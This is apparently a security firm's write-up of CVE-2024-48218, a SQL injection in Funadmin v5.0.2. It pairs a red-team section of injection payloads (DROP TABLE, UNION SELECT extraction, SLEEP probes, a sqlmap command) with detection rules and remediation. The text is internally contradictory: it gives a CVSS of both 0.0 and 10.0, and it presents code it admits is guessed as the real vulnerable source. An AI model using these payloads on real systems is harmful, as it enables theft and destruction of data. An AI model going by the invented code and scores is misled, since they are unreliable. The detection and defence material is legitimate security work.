CVE-2024-48218

Executive Summary

CVE-2024-48218 is a critical SQL injection vulnerability discovered in Funadmin v5.0.2, specifically within the /curd/table/list endpoint. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is assessed as critical. No official patch or advisory has been released by the vendor, and no public exploit code or Nuclei template is available at this time. The EPSS score is 0.0%, indicating low exploitation probability currently, but this may change as details become public.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Funadmin PHP application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerable component only.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – ability to modify or delete data.
• Availability Impact: High (A:H) – potential for denial of service via SQL manipulation.

Threat Level: Critical. Immediate action required.

Deep Dive & Mechanics

The vulnerability resides in the /curd/table/list endpoint of Funadmin v5.0.2. The application fails to properly sanitize user-supplied input before incorporating it into SQL queries. Specifically, the table parameter (or similar) is directly concatenated into a SQL SELECT statement without parameterization or escaping.

Root Cause: Lack of prepared statements or input validation in the list action of the curd controller. The code likely uses string interpolation to build queries, e.g.:

$sql = "SELECT * FROM " . $_GET['table'] . " WHERE ...";

Attack Vector: An attacker sends a crafted HTTP GET request to /curd/table/list?table=users; DROP TABLE users;--. The injected SQL is executed by the database, allowing arbitrary commands.

Impact: Full database compromise, including extraction of user credentials, session tokens, and sensitive application data. In some configurations, the attacker may also achieve remote code execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL).

Vulnerable vs. Patched Code

Vulnerable Code (Funadmin v5.0.2):

// /curd/table/list
$table = $_GET['table'];
$result = mysqli_query($conn, "SELECT * FROM $table WHERE 1=1");

Patched Code (Hypothetical):

// Use prepared statements
$table = $_GET['table'];
$allowed_tables = ['users', 'products', 'orders'];
if (!in_array($table, $allowed_tables)) {
    die("Invalid table");
}
$stmt = $conn->prepare("SELECT * FROM $table WHERE 1=1");
$stmt->execute();

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Funadmin v5.0.2
• Network access to the /curd/table/list endpoint

Exploit Steps:

1. Identify the vulnerable endpoint: GET /curd/table/list?table=users
2. Inject SQL payload to extract data:

   GET /curd/table/list?table=users UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

3. Use time-based blind injection if needed:

   GET /curd/table/list?table=users WHERE 1=1 AND SLEEP(5)--
   

Example Payloads:

• Extract database version: table=users UNION SELECT @@version,2,3,4,5,6,7,8,9,10--
• List tables: table=information_schema.tables UNION SELECT table_name,2,3,4,5,6,7,8,9,10 FROM information_schema.tables--

Automation with sqlmap:

sqlmap -u "http://target.com/curd/table/list?table=users" --batch --dbs

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for unusual SQL keywords in the table parameter (e.g., UNION, SELECT, SLEEP, DROP).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement input validation on the server side (whitelist allowed table names).

Honeypot Strategy:

• Create a fake endpoint /curd/table/list that logs all requests and alerts on suspicious patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /curd/table/list with table parameter containing SQL keywords.
• Outbound database connections from the web server to unknown IPs (data exfiltration).
• Unusual database error messages in HTTP responses (e.g., You have an error in your SQL syntax).

File System IOCs:

• Modified or new files in the Funadmin installation directory (e.g., webshells).
• Unexpected database dump files (e.g., .sql files in web root).

Log IOCs:

• Web server logs showing UNION, SELECT, SLEEP, BENCHMARK in the query string.
• Database logs showing multiple failed queries or queries with UNION SELECT.

Detection Engineering

YARA Rule

rule CVE_2024_48218_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Funadmin /curd/table/list"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48218"
    strings:
        $s1 = "/curd/table/list" ascii nocase
        $s2 = "UNION" ascii nocase
        $s3 = "SELECT" ascii nocase
        $s4 = "SLEEP" ascii nocase
        $s5 = "DROP" ascii nocase
        $s6 = "information_schema" ascii nocase
    condition:
        $s1 and any of ($s2,$s3,$s4,$s5,$s6)
}

Sigma Rule

title: SQL Injection Attempt Against Funadmin /curd/table/list
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-48218
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "/curd/table/list"
        cs-uri-query|contains|all:
            - "table="
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in a table name (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48218 SQL Injection Attempt"; flow:to_server; content:"/curd/table/list"; http_uri; content:"table="; http_uri; pcre:"/UNION|SELECT|SLEEP|DROP|information_schema/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from the internet if possible.
2. Apply a virtual patch using a WAF to block SQL injection patterns.
3. Disable the /curd/table/list endpoint if not required.

Long-Term Fix:

• Upgrade to a patched version of Funadmin (if/when available).
• Implement parameterized queries (prepared statements) in all database interactions.
• Conduct a full code audit for similar vulnerabilities.

Compensating Controls:

• Use a database firewall to restrict outbound queries.
• Enable detailed logging and monitoring for SQL injection attempts.
• Implement least privilege for database accounts used by the application.

Valters IT – Securing your digital frontier.